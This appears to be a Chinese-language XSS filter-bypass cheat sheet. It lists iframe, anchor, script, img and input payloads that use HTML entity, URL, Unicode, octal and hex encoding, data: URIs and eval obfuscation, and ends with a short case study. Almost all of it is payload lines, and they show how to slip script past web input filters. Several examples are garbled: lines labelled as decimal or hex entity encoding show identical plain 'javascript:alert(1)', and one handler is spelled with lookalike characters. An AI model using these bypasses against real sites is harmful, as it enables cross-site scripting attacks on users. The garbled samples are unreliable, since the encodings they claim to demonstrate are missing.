编码转换工具:
http://bianma.51240.com/
html实体编码
<iframe src=javascript:alert(1)>
html标签中支持十进制,例如:
<iframe src=javascript:alert(1)>
十六进制,例如:
<iframe src=javascript:alert(1)>
可以不带分号
<iframe src=javascript:alert(1)>
可以填充0
<iframe src=javascript:alert(1)>
绕过关键字过滤
<iframe src=javas	cript:alert(1)></iframe> //Tab
<iframe src=javas
cript:alert(1)></iframe> //回车
<iframe src=javas
cript:alert(1)></iframe> //换行
<iframe src=javascript:alert(1)></iframe> //编码冒号
<iframe src=javasc
ript:alert(1)></iframe> //HTML5 新增的实体命名编码,IE6、7下不支持
URL编码
<a href="{here}">xx</a>
<iframe src="{here}">
当输出环境在href或者src时,是可以通过javascript伪协议来执行JS的,例如<iframe src=”javascript:alert(1)”>test</iframe>
同样src中是可以进行URL编码的,需要注意协议头javascript:不能编码,否则JS无法执行。
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
<a href="javascript:%61%6c%65%72%74%28%31%29">xx</a>
这里结合一下上面说16进制编码
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
javascript编码
<script>alert(1)</script>
Unicode编码<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
Javascript解析器工作的时候将\u0061\u006c\u0065\u0072\u0074进行js解码后为”alert”,但是需要注意像圆括号、双引号、单引号不能编码,否则在这种场景下无法弹窗。
例如<script>\u0061\u006C\u0065\u0072\u0074(‘1\u0027)</script>这种是无法执行的。
测试一下DOM的环境,测试代码如下:
<div id='s'>test</div>
<script>
var s = "<img/src=x onerror=alert(1)>";
document.getElementById('s').innerHTML = s;
</script>
<img/src=x οnerrοr=alert(1)>的以下编码都可以弹窗:
Unicode: \u003C\u0069\u006D\u0067\u002F\u0073\u0072\u0063\u003D\u0078\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E
八进制: \074\151\155\147\057\163\162\143\075\170\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076
十六进制: \x3C\x69\x6D\x67\x2F\x73\x72\x63\x3D\x78\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E
在JS事件中使用Location跳转也可以,例如。
<input onfocus=location="javascript:alert\u00281\u0029" autofocus>
DATA协议(IE不支持)
<a href="{here}">xx</a>
<iframe src="{here}">
例如
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
<iframe src="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></iframe>
需要注意内容是可以做实体编码。不影响XSS执行。
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
Eval
atob:
<a href=javascript:eval(atob('YWxlcnQoMSk='))>Click</a> //需要引入单引号或双引号
String.fromCharCode:
<a href='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))'>Click</a>
案例:
参数输出环境:
测试发现参数这里过滤”和(,无法输入”就无法闭合,发现该参数的输出环境在src中,那么通过javascript伪协议就可以执行JS,但是因为无法引入(,所以需要进行编码才可以。
1)10进制和16进制编码绕过
HTML标签中是支持10进制和16进制编码的,那么先将javascript:alert(1)做10进制编码
javascript:alert(1);//
因为参数值中有&和#,需要一次URL编码
%26%23106%3b%26%2397%3b%26%23118%3b%26%2397%3b%26%23115%3b%26%2399%3b%26%23114%3b%26%23105%3b%26%23112%3b%26%23116%3b%26%2358%3b%26%2397%3b%26%23108%3b%26%23101%3b%26%23114%3b%26%23116%3b%26%2340%3b%26%2349%3b%26%2341%3b;//
2)URL编码绕过
SRC标签中是支持解码的,也就是我可以对过滤字符做二次URL编码绕过
参考文章:
http://su.xmd5.org/static/drops/tips-689.html
https://security.yirendai.com/news/share/26